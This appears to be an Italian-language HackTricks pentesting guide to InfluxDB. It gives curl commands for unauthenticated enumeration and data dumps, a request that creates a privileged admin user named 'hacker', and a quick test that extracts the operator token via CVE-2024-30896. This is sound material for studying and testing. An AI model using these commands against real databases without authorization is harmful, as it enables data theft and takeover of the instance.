8086 - Pentesting InfluxDB

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

InfluxDB è un database per serie temporali (TSDB) open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database a uso generale, i TSDB offrono miglioramenti significativi in termini di spazio di memorizzazione e prestazioni per i dataset di serie temporali. Impiegano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati più vecchi. Anche indici specializzati del database migliorano le prestazioni delle query.

Porta predefinita: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Identificazione e versione (HTTP)

  • v1.x: GET /ping restituisce codice di stato 204 e intestazioni come X-Influxdb-Version e X-Influxdb-Build.
  • v2.x+: GET /health restituisce JSON con la versione del server e lo stato. Funziona senza auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Suggerimento: le istanze esposte spesso espongono anche metriche in stile Prometheus su /metrics.

Enumerazione

Dal punto di vista di un pentester, questo è un altro database che potrebbe contenere informazioni sensibili, quindi è interessante sapere come dumpare tutte le informazioni.

Autenticazione

InfluxDB potrebbe richiedere l’autenticazione oppure no

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Se ricevi un errore come questo: ERR: unable to parse authentication credentials significa che vengono richieste delle credentials.

influx –username influx –password influx_pass

Esisteva una vulnerabilità in influxdb che permetteva di bypassare l’autenticazione: CVE-2019-20933

Enumerazione manuale (v1 HTTP API / InfluxQL)

Anche quando non è disponibile alcuna CLI, la HTTP API è solitamente esposta sulla porta 8086.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

In alcuni test con l’authentication bypass è stato notato che il nome della tabella doveva essere tra virgolette doppie come: select * from "cpu"

Se l’authentication è disabilitata, puoi anche creare utenti e escalate:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

Le informazioni dell’esempio CLI seguente sono tratte da here.

Mostra database

I database trovati sono telegraf e internal (quest’ultimo si trova ovunque)

> show databases
name: databases
name
----
telegraf
_internal

Mostra tabelle/misurazioni

La InfluxDB documentation spiega che le misurazioni in InfluxDB possono essere paragonate alle tabelle SQL. La nomenclatura di queste misurazioni riflette il loro contenuto: ciascuna contiene dati rilevanti per una specifica entità.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Mostra colonne/chiavi dei campi

Le chiavi dei campi sono come le colonne del database

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

E infine puoi dump the table facendo qualcosa del genere

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (basata su token)

InfluxDB 2.x introduce l’autenticazione basata su token e una nuova API (ancora sulla porta 8086 per impostazione predefinita). Se ottieni un token (leaked logs, deployment predefiniti, backup) puoi enumerare:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Note

  • Per v1.8+, esistono alcuni endpoint compatibili con v2 (/api/v2/query, /api/v2/write, /health). Questo è utile se il server è v1 ma accetta richieste in stile v2.
  • In v2, l’header HTTP Authorization deve essere nella forma Token <value>.

Enumerazione automatizzata

msf6 > use auxiliary/scanner/http/influxdb_enum

Recent vulns and privesc di interesse (ultimi anni)

  • InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). In condizioni specifiche, un utente autenticato con accesso in sola lettura alla risorsa di authorization nell’organizzazione di default poteva elencare e recuperare il token operator a livello di istanza (es., via influx auth ls o GET /api/v2/authorizations). Con quel token, l’attaccante può amministrare l’istanza (buckets, tokens, users) e accedere a tutti i dati tra le organizzazioni. Aggiornare a una build corretta quando disponibile ed evitare di collocare utenti normali nella default org. Test rapido:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Molte installazioni legacy 1.x espongono ancora /query e /write non autenticati su Internet. Se auth è disabilitato, puoi dumpare o perfino modificare time-series a piacimento; puoi anche creare admin users come mostrato sopra. Verifica sempre con l’HTTP API anche se la CLI ti blocca.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks